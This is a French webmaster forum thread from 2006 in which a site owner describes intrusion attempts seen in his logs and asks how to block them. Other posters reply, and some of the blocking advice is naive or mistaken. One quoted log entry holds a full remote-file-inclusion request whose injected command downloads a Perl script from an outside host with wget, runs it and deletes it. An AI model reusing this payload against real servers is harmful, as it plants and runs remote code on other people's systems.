tentative de piratage encours

[istreen]

Bonsoir, depuis quelques jours j'ai un code que g trouver sur le net qui enregister les informations suivante.

Code: Tout sélectionner

30 Aug 30 2006 9:37:01 pm CEST

82.221.42.7 tried to load url

User Agent = libwww-perl/5.803

Yes you have been bagged and tagged for a making an illegal move





J'ai mené mon enquete, et je continue, mais je cherchais surtout a blocker ce ptin de robots.

Voila ma solution
User-agent: libwww-perl
Disallow: /

Cela ne generas pas google et les autres moteurs ?

[istreen]

les attaques on etais bloqués apparement.

[Serious]

Si tu as pu bloquer un agent avec robots.txt, c'est que ce n'etait pas une attaque. Ou que c'est un debutant.

D'apres mes souvenirs un parametre de cette lib permet d'ignorer le fichier robots.txt.

[istreen]

Dans tous les cars c bloqué, apparement ct une attaque avec nombreux serveur avec un worm.

enfin vivement que je sécurise tous ca

[istreen]

C'est reparti avec une attaque manuel, c'est plus un user agent.

C'est ip qui appartienne a

inetnum: 0.0.0.0 - 255.255.255.255
netname: IANA-BLK
descr: The whole IPv4 address space
country: EU # Country is really world wide
org: ORG-IANA1-RIPE
admin-c: IANA1-RIPE
tech-c: IANA1-RIPE
status: ALLOCATED UNSPECIFIED "status:" definitions
remarks: The country is really worldwide.
remarks: This address space is assigned at various other places in
remarks: the world and might therefore not be in the RIPE database.
mnt-by: RIPE-NCC-HM-MNT
mnt-lower: RIPE-NCC-HM-MNT
mnt-routes: RIPE-NCC-RPSL-MNT
source: RIPE # Filtered

organisation: ORG-IANA1-RIPE
org-name: Internet Assigned Numbers Authority
org-type: IANA
address: see http://www.iana.org
remarks: The IANA allocates IP addresses and AS number blocks to RIRs
remarks: see http://www.iana.org/ipaddress/ip-addresses.htm
remarks: and http://www.iana.org/assignments/as-numbers
e-mail: bitbucket@ripe.net
admin-c: IANA1-RIPE
tech-c: IANA1-RIPE
mnt-ref: RIPE-NCC-HM-MNT
mnt-by: RIPE-NCC-HM-MNT
source: RIPE # Filtered

role: Internet Assigned Numbers Authority
address: see http://www.iana.org.
e-mail: bitbucket@ripe.net
admin-c: IANA1-RIPE
tech-c: IANA1-RIPE
nic-hdl: IANA1-RIPE
remarks: For more information on IANA services
remarks: go to IANA web site at http://www.iana.org.
mnt-by: RIPE-NCC-MNT
source: RIPE # Filtered

J'aimerais bloquer les plages d'ip venant d'eux.

[Sir Dipp]

Tu peux y aller, la plage d'IP c'est celle-ci : inetnum: 0.0.0.0 - 255.255.255.255

[istreen]

cela ne pas empecher que mon site soit vu ?
Je bloke les ip comment avec le .htaccess

[Sir Dipp]

Ben disons que la plage d'IP en question c'est toutes les IPs donc ton site sera visible par plus personne, de plus le pirate doit sûrement passer par un proxy alors son IP sera fausse.

Sinon est-ce que tu es sûr que c'est bien une attaque pirate ?

[istreen]

si ca ce n'est pas une attaque pirate alors.

Code: Tout sélectionner

31 Aug 31 2006 3:23:51 am CEST

201.226.254.210 tried to load /includes/adminBoards.php?GlobalSettings[templatesDirectory]=http://paupal.info/folder/cmd.txt?&cmd=cd%20/tmp/;wget%20http://paupal.info/folder/mambo2.txt;perl%20mambo2.txt;rm%20-rf%20mambo2.*?

User Agent = Mozilla/5.0

Yes you have been bagged and tagged for a making an illegal move





j'en ai relevé pret de 300 avant hier.
depuis que g bloqué le user agent il sont niké.
Mais c reparti avec une autre attaque sur une plage d'ip importante

[Sir Dipp]

Si c'est toujours la même IP bloque l'IP, puis continue à garder un oeil sur tes logs, s'ils change tu changes aussi, ils finiront par abandonner.

Sinon, active le safe_mode pendant le temps de l'attaque sur ton serveur.

A+

[istreen]

Safe mode on c'est pas une faille ?

[istreen]

ta cliqué dessus lol g eu une alerte intrusion avec ton ip de neuf telecom.
bon heureusement que g vu la provonance du click :p

[istreen]

Ne cliquez pas dessus, cela m'envoie une alerte avec toutes les infos.
et je voudrais eviter d'envoyer au service abuse de votre fai.

[i-liquid]

Ne cliquez pas dessus, cela m'envoie une alerte avec toutes les infos.
et je voudrais eviter d'envoyer au service abuse de votre fai.

ne pas cliquer sur?

[istreen]

ben sur le lien, mais je l'ai viré.